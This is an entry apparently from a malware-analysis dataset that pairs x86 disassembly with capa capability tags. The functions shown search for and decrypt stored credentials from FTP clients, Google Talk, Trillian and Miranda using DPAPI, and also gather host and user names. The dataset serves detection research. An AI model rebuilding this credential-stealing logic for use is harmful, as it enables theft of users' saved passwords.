joyce8/EMBER2024-capa huggingface dataset:
Function at 0x423be7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1840
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x3e8
lea eax, [ebp - 0x40c]
mov dword [ebp - 0x20], 0x302d4442
push 0
push eax
mov ebx, edx
mov dword [ebp - 0x1c], 0x31323037
mov esi, ecx
mov dword [ebp - 0x18], 0x2b333739
mov dword [ebp - 0x14], 0x30313931
mov dword [ebp - 0x10], 0x32373931
mov word [ebp - 0xc], 0x442d
mov byte [ebp - 0xa], 0x42
call fcn.006390b0
lea edx, [ebp - 0x7f4]
mov ecx, esi
call fcn.00404638
push esi
call fcn.00643470
mov esi, eax
lea ecx, [ebp - 0x183c]
lea eax, [ebp - 0x20]
shr esi, 1
push eax
push 0x17
pop edx
call fcn.00402ce9
mov ecx, esi
add esp, 0x14
and cl, 7
xor al, al
cmp al, cl
sbb edi, edi
shr esi, 3
neg edi
push 0
add edi, esi
pop esi
je 0x423cae
push ecx
lea eax, [ebp - 0x183c]
lea edx, [ebp - 0x40c]
lea ecx, [ebp - 0x7f4]
push eax
lea edx, [edx + esi*8]
lea ecx, [ecx + esi*8]
call fcn.00402383
inc esi
pop ecx
pop ecx
cmp esi, edi
jb 0x423c88
push 0
push 0
push 0x3e8
push ebx
push 0xffffffffffffffff
lea eax, [ebp - 0x40c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x424366
Capabilities:
Get common file path
Get disk information
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov ax, word [0x6c5dec]
push ebx
push esi
push edi
mov dword [ebp - 0x430], ecx
lea edi, [ebp - 0x18]
push 5
pop ecx
mov word [ebp - 0x42c], ax
mov esi, str.ftpprosconnect.ini
mov al, byte [0x6c5dee]
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x42a], al
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
xor ebx, ebx
xor eax, eax
mov ecx, ebx
inc eax
shl eax, cl
test esi, eax
je 0x42441d
lea eax, [ebx + 0x41]
mov byte [ebp - 0x42c], al
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x42441d
lea eax, [ebp - 0x18]
push eax
lea eax, [ebx + 0x41]
push eax
push str._c:_s
lea eax, [ebp - 0x220]
push 0x208
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x220]
call fcn.00405670
mov edi, dword [ebp - 0x430]
test eax, eax
je 0x424423
lea eax, [ebp - 0x220]
mov ecx, edi
push eax
call fcn.00424020
jmp 0x424423
mov edi, dword [ebp - 0x430]
inc ebx
cmp ebx, 0x1a
jl 0x4243b1
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x428]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1a
push ebx
call esi
test eax, eax
js 0x424484
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x428]
push eax
push 0x6c643c
lea eax, [ebp - 0x220]
push 0x208
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x220]
call fcn.00405670
test eax, eax
je 0x424484
lea eax, [ebp - 0x220]
mov ecx, edi
push eax
call fcn.00424020
lea eax, [ebp - 0x428]
push eax
push ebx
push ebx
push 0x1c
push ebx
call esi
test eax, eax
js 0x4244d7
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x428]
push eax
push 0x6c643c
lea eax, [ebp - 0x220]
push 0x208
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x220]
call fcn.00405670
test eax, eax
je 0x4244d7
lea eax, [ebp - 0x220]
mov ecx, edi
push eax
call fcn.00424020
lea eax, [ebp - 0x428]
push eax
push ebx
push ebx
push 0x2a
push ebx
call esi
test eax, eax
js 0x42452a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x428]
push eax
push 0x6c643c
lea eax, [ebp - 0x220]
push 0x208
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x220]
call fcn.00405670
test eax, eax
je 0x42452a
lea ecx, [ebp - 0x220]
push ecx
mov ecx, edi
call fcn.00424020
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.006122f0
leave
ret
Function at 0x424838
Capabilities:
Encode data using xor
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
movaps xmm0, xmmword [0x6d9d40]
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x2c], eax
xor esi, esi
mov eax, dword [ebp + 0x14]
push edi
mov dword [ebp - 0x28], edx
mov edi, 0xba0da71d
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], eax
movups xmmword [ebp - 0x24], xmm0
movsx ecx, byte [edx + esi]
mov eax, esi
imul ecx, edi
and eax, 3
imul edi, edi, 0xbc8f
push edx
xor dword [ebp + eax*4 - 0x24], ecx
inc esi
call fcn.00643470
mov edx, dword [ebp - 0x28]
pop ecx
cmp esi, eax
jb 0x424875
xor ebx, ebx
mov edx, dword [ebp - 0x2c]
mov eax, esi
and eax, 3
push edx
movsx ecx, byte [edx + ebx]
imul ecx, edi
imul edi, edi, 0xbc8f
xor dword [ebp + eax*4 - 0x24], ecx
inc ebx
inc esi
call fcn.00643470
pop ecx
cmp ebx, eax
jb 0x42489c
push 4
pop esi
push esi
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00638b30
push esi
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00638b30
push esi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00638b30
push esi
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00638b30
mov ebx, dword [ebp - 0x30]
push ebx
call fcn.00643470
add esp, 0x34
lea esi, [eax + 1]
mov eax, dword [ebp - 0x24]
or eax, 1
xor edx, edx
mov dword [ebp - 0x28], eax
mov cl, byte [ebx + edx + 4]
mov al, byte [ebx + edx + 5]
dec cl
sub al, 0x21
shl cl, 4
or cl, al
mov eax, dword [ebp - 0x28]
sub cl, al
imul eax, eax, 0x10ff5
mov dword [ebp - 0x28], eax
mov eax, edx
shr eax, 1
add edx, 2
mov byte [ebx + eax], cl
cmp edx, esi
jb 0x424917
lea eax, [ebp - 0x14]
shr edx, 1
mov dword [ebp - 0x40], eax
xor ecx, ecx
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x48], ebx
push eax
push ecx
push ecx
push ecx
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0x10
push eax
sub edx, 3
lea eax, [ebp - 0x4c]
push ecx
push eax
mov dword [ebp - 0x4c], edx
mov byte [ebx + edx], cl
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x424985
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x4249a1
push dword [ebp - 0x3c]
mov esi, dword [ebp - 0x34]
push dword [ebp - 0x38]
push esi
call fcn.00638b30
mov ecx, dword [ebp - 0x3c]
xor eax, eax
add esp, 0xc
inc eax
mov byte [esi + ecx], 0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 0x10
Function at 0x4249b2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ba8
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
push edi
push str.Talk
mov dword [ebp - 0x1ba4], eax
mov eax, dword [ebp + 0x10]
push str.SoftwareGoogleGoogle__sAccounts_s
mov dword [ebp - 0x1ba0], eax
lea eax, [ebp - 0x1b94]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x1b98]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1b94]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x424abc
lea eax, [ebp - 0x1b9c]
mov dword [ebp - 0x1b9c], 0x400
push eax
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x1ba8]
push eax
push 0
push 0x6ca920
push dword [ebp - 0x1b98]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x1b98]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x424abc
cmp dword [ebp - 0x1b9c], 1
jb 0x424abc
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0x40c]
push eax
push dword [ebp - 0x1ba0]
push dword [ebp - 0x1ba4]
call fcn.00424838
test eax, eax
je 0x424ab7
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0x80c]
push ecx
push eax
push edi
push ecx
push ecx
push 0x65
push 3
mov ecx, ebx
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x424abe
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 0xc
Function at 0x424acf
Capabilities:
Get hostname
Get session user name
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfcc
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x3e7
mov byte [ebp - 0x7d8], 0
push esi
lea eax, [ebp - 0x7d7]
mov ebx, ecx
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x3f0], 0
lea eax, [ebp - 0x3ef]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0xfc4]
lea edi, [esi + 1]
mov dword [ebp - 0xfc4], edi
push eax
lea eax, [ebp - 0x7d8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
lea eax, [ebp - 0xfc4]
push eax
lea eax, [ebp - 0x3f0]
mov dword [ebp - 0xfc4], edi
push eax
push 2
call esi
test eax, eax
je 0x424b6f
lea eax, [ebp - 0x3f0]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x424b87
lea eax, [ebp - 0xfc4]
mov dword [ebp - 0xfc4], edi
push eax
lea eax, [ebp - 0x3f0]
push eax
push 0
call esi
push str.Accounts
push str._Talk
mov eax, str.Google
push eax
push eax
push str.Software
push str._s_s_s_s_s
lea eax, [ebp - 0xbc0]
push edi
push eax
call fcn.00402e0a
add esp, 0x20
lea eax, [ebp - 0xfcc]
push eax
push 0x20019
push 0
lea eax, [ebp - 0xbc0]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x424c49
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [ebp - 0xfc8]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0xfc0]
mov esi, ecx
push eax
push ecx
jmp 0x424c27
lea eax, [ebp - 0x3f0]
mov ecx, ebx
push eax
lea eax, [ebp - 0x7d8]
push eax
lea eax, [ebp - 0xfc0]
push eax
call fcn.004249b2
inc esi
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0xfc8]
push eax
lea eax, [ebp - 0xfc0]
push eax
push esi
push dword [ebp - 0xfcc]
mov dword [ebp - 0xfc8], 0x400
call edi
test eax, eax
je 0x424bf5
push dword [ebp - 0xfcc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x424c58
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 0x58], 0xc48126f3
xor ebx, ebx
mov dword [ebp - 0x160], esi
push ecx
lea edx, [ebp - 0x158]
mov dword [ebp - 0x54], 0x92db8639
mov edi, ecx
mov dword [ebp - 0x50], 0xe6b9a371
mov dword [ebp - 0x4c], 0x7c957a53
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], 0xff0000
mov dword [ebp - 0x40], 0x8000
mov dword [ebp - 0x3c], 0x808000
mov dword [ebp - 0x38], 0xff
mov dword [ebp - 0x34], 0x800080
mov dword [ebp - 0x30], 0x8080
mov dword [ebp - 0x2c], 0xff8000
mov dword [ebp - 0x28], 0xff0080
mov dword [ebp - 0x24], 0x808080
mov dword [ebp - 0x20], 0x62616e55
mov dword [ebp - 0x1c], 0x7420656c
mov dword [ebp - 0x18], 0x6572206f
mov dword [ebp - 0x14], 0x766c6f73
mov dword [ebp - 0x10], 0x54482065
mov dword [ebp - 0xc], 0x70205054
mov dword [ebp - 8], 0x786f72
call fcn.004020b3
pop ecx
test eax, eax
jne 0x424d2f
push edi
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.006494f3
add esp, 0xc
cmp byte [ebp - 0x158], bl
je 0x424d93
lea edi, [ebp - 0x58]
xor eax, eax
sub edi, esi
mov dh, byte [ebp + eax - 0x157]
test dh, dh
je 0x424d8d
mov cl, byte [ebp + eax - 0x158]
mov dl, cl
shl cl, 4
sub dl, 0x30
cmp dl, 9
mov dl, 9
lea eax, [ecx - 0x70]
movzx ecx, cl
movzx eax, al
cmova ecx, eax
mov al, dh
sub al, 0x30
cmp dl, al
sbb al, al
and al, 0xf9
add al, 0xd0
add cl, al
add cl, dh
xor cl, byte [edi + esi]
inc ebx
mov byte [esi], cl
inc esi
lea eax, [ebx + ebx]
cmp byte [ebp + eax - 0x158], 0
jne 0x424d3e
mov esi, dword [ebp - 0x160]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
mov byte [esi + ebx], 0
xor ecx, ebp
pop esi
inc eax
pop ebx
call fcn.006122f0
leave
ret
Function at 0x425000
Capabilities:
Delete file
Encrypt data using dpapi
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f0
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
and dword [ebp - 0x7e0], 0
push ebx
push esi
push edi
push 0x6c5e0c
push eax
lea eax, [ebp - 0x7e0]
mov ebx, ecx
push eax
call fcn.00649a00
add esp, 0xc
cmp dword [ebp - 0x7e0], 0
je 0x425192
test eax, eax
jne 0x425192
push 2
push eax
push dword [ebp - 0x7e0]
call fcn.00650f28
add esp, 0xc
push dword [ebp - 0x7e0]
call fcn.00650730
pop ecx
mov edi, eax
push edi
call fcn.0064f743
mov esi, eax
pop ecx
push dword [ebp - 0x7e0]
test esi, esi
jne 0x425089
call fcn.00649273
pop ecx
jmp 0x425192
call fcn.0065128a
pop ecx
push dword [ebp - 0x7e0]
push 1
push edi
push esi
call fcn.00651b3e
push dword [ebp - 0x7e0]
call fcn.00649273
add esp, 0x14
mov dword [ebp - 0x7e4], esi
lea eax, [ebp - 0x7f0]
mov dword [ebp - 0x7e8], edi
push eax
push 1
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x7e8]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x4250e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x425192
push esi
call fcn.006434fb
pop ecx
lea eax, [ebp - 0x7dc]
mov esi, 0x3e8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
cdq
mov ecx, 0x186a0
idiv ecx
lea eax, [ebp - 0x7dc]
push edx
push eax
push str._strillian__d
lea eax, [ebp - 0x3f4]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x3f4]
push 0x6ca97c
push eax
lea eax, [ebp - 0x7e0]
push eax
call fcn.00649a00
add esp, 0xc
cmp dword [ebp - 0x7e0], 0
je 0x425192
test eax, eax
jne 0x425192
push dword [ebp - 0x7e0]
push dword [ebp - 0x7f0]
push 1
push dword [ebp - 0x7ec]
call fcn.00649812
push dword [ebp - 0x7e0]
call fcn.00649273
add esp, 0x14
lea eax, [ebp - 0x3f4]
mov ecx, ebx
push eax
call fcn.00424da9
lea eax, [ebp - 0x3f4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x4251a3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x3e7
mov dword [ebp - 0x828], eax
mov ebx, ecx
lea eax, [ebp - 0x823]
mov byte [ebp - 0x824], 0
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea edi, [ebp - 0x2c]
mov esi, str.Trillianusersglobal_accounts.dat
push 8
pop ecx
rep movsd dword es:[edi], dword [esi]
push 8
pop ecx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.Trillianusersglobal_accounts.ini
lea edi, [ebp - 0x50]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x828]
push esi
call fcn.00643470
pop ecx
cmp eax, 1
jbe 0x425263
push str.accounts.dat
push esi
mov esi, 0x6c643c
lea eax, [ebp - 0x43c]
push esi
mov edi, 0x3e8
push edi
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x43c]
call fcn.00405670
test eax, eax
je 0x425256
lea edx, [ebp - 0x43c]
mov ecx, ebx
push edx
call fcn.00425000
jmp 0x425301
push str.accounts.ini
push dword [ebp - 0x828]
jmp 0x4252d3
lea eax, [ebp - 0x824]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x425285
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x425304
lea eax, [ebp - 0x2c]
mov esi, 0x6c643c
push eax
lea eax, [ebp - 0x824]
mov edi, 0x3e8
push eax
push esi
lea eax, [ebp - 0x43c]
push edi
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x43c]
call fcn.00405670
test eax, eax
je 0x4252c8
lea eax, [ebp - 0x43c]
mov ecx, ebx
push eax
call fcn.00425000
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x824]
push eax
push esi
lea eax, [ebp - 0x43c]
push edi
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x43c]
call fcn.00405670
test eax, eax
je 0x425301
lea eax, [ebp - 0x43c]
mov ecx, ebx
push eax
call fcn.00424da9
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x425aec
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f0
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x7e4], eax
xor edi, edi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x7e8], eax
lea eax, [ebp - 0x7e0]
push eax
push 1
push edi
push edi
lea eax, [ebp - 0x7e8]
mov dword [ebp - 0x7ec], ecx
push eax
push edi
lea eax, [ebp - 0x7f0]
mov dword [ebp - 0x7f0], edx
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x425b5e
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.006122f0
leave
ret
push dword [ebp - 0x7e0]
lea eax, [ebp - 0x7d8]
push dword [ebp - 0x7dc]
push eax
call fcn.00638b30
mov eax, dword [ebp - 0x7e0]
add esp, 0xc
and eax, 0xfffffffe
cmp eax, 0x7d0
jae 0x425bb1
push edi
push edi
push 0x3e8
push esi
xor ecx, ecx
push 0xffffffffffffffff
mov word [ebp + eax - 0x7d8], cx
lea ecx, [ebp - 0x7d8]
push ecx
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor eax, eax
inc eax
jmp 0x425b50
call fcn.00612782
int3
Function at 0x426798
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb30
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x3fb]
push edi
mov esi, str.Miranda
mov dword [ebp - 0xb30], ecx
lea edi, [ebp - 0x14]
mov byte [ebp - 0x3fc], 0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x3e7
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x9ec], 0
lea eax, [ebp - 0x9eb]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
push ebx
call fcn.00643470
cmp eax, 1
lea eax, [ebp - 0x3fc]
pop ecx
jae 0x426841
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x42682a
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x426911
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x3fc]
push 0x3e8
push eax
call fcn.006500a8
jmp 0x42684d
push ebx
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x3fc]
mov ebx, 0x208
push eax
lea eax, [ebp - 0x604]
push ebx
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x604]
push 0x6c7624
push ebx
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [ebp - 0xb2c]
push eax
lea eax, [ebp - 0x604]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x426823
mov edi, dword [ebp - 0xb30]
test byte [ebp - 0xb2c], 0x10
je 0x4268f5
cmp byte [ebp - 0xb00], 0x2e
je 0x4268f5
lea eax, [ebp - 0xb00]
push eax
push eax
lea eax, [ebp - 0x3fc]
push eax
push str._s_s_s.dat
lea eax, [ebp - 0x9ec]
push ebx
push eax
call fcn.00402e0a
add esp, 0x18
lea ecx, [ebp - 0x9ec]
call fcn.00405670
test eax, eax
je 0x4268f5
lea eax, [ebp - 0x9ec]
mov ecx, edi
push eax
call fcn.00425eb0
lea ecx, [ebp - 0xb2c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4268a2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4

Function at 0x426922
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, ecx
mov edi, edx
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
je 0x42693c
xor eax, eax
jmp 0x426974
xor ecx, ecx
lea eax, [ebp - 4]
push ecx
push ecx
push ecx
push ecx
push eax
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x42695b
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x426938
push dword [ebp - 4]
push str._08X
push 0x100
push edi
call fcn.00402e0a
xor eax, eax
add esp, 0x10
inc eax
pop edi
pop esi
leave
ret
Function at 0x426a76
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x17a0
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
push edi
mov dword [ebp - 0x179c], ecx
lea ecx, [ebp - 0x1788]
push ecx
push 0x20019
push 0
push eax
push SysReAllocString
mov dword [ebp - 0x1798], eax
call ebx
test eax, eax
je 0x426ac6
xor eax, eax
jmp 0x426ccc
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [ebp - 0x1780]
xor ecx, ecx
mov dword [ebp - 0x1780], 0x3e8
push ecx
push ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0xbc4]
mov dword [ebp - 0x1794], ecx
push eax
push ecx
push dword [ebp - 0x1788]
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x426cb9
lea eax, [ebp - 0xbc4]
push eax
push dword [ebp - 0x1798]
lea eax, [ebp - 0xfac]
push 0x6c643c
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x1784]
push eax
push 0x20019
push 0
lea eax, [ebp - 0xfac]
push eax
push SysReAllocString
call ebx
test eax, eax
jne 0x426c85
xor ecx, ecx
lea eax, [ebp - 0x1780]
push ecx
push ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x7dc]
mov dword [ebp - 0x1790], ecx
push eax
push ecx
jmp 0x426c63
lea eax, [ebp - 0x7dc]
push eax
lea eax, [ebp - 0xfac]
push eax
push 0x6c643c
lea eax, [ebp - 0x1394]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x178c]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1394]
push eax
push SysReAllocString
call ebx
test eax, eax
jne 0x426c41
mov byte [ebp - 0x3f4], al
lea eax, [ebp - 0x1780]
push eax
lea eax, [ebp - 0x3f4]
mov dword [ebp - 0x1780], 0x3e8
push eax
lea eax, [ebp - 0x17a0]
push eax
push 0
push 0x6cadc0
push dword [ebp - 0x178c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x178c]
call esi
lea eax, [ebp - 0x3f4]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x426c41
push ecx
lea edx, [ebp - 0x177c]
lea ecx, [ebp - 0x3f4]
call fcn.004020b3
pop ecx
test eax, eax
je 0x426c41
mov ecx, dword [ebp - 0x179c]
lea eax, [ebp - 0x177c]
push eax
lea eax, [ebp - 0x7dc]
push eax
lea eax, [ebp - 0xbc4]
push eax
call fcn.004269ba
mov eax, dword [ebp - 0x1790]
inc eax
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
lea ecx, [ebp - 0x1780]
mov dword [ebp - 0x1790], eax
push ecx
lea ecx, [ebp - 0x7dc]
push ecx
push eax
push dword [ebp - 0x1784]
mov dword [ebp - 0x1780], 0x3e8
call edi
test eax, eax
je 0x426b6e
push dword [ebp - 0x1784]
call esi
mov eax, dword [ebp - 0x1794]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
lea ecx, [ebp - 0x1780]
mov dword [ebp - 0x1780], 0x3e8
push ecx
lea ecx, [ebp - 0xbc4]
inc eax
push ecx
push eax
push dword [ebp - 0x1788]
mov dword [ebp - 0x1794], eax
call edi
test eax, eax
je 0x426b04
push dword [ebp - 0x1788]
call esi
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4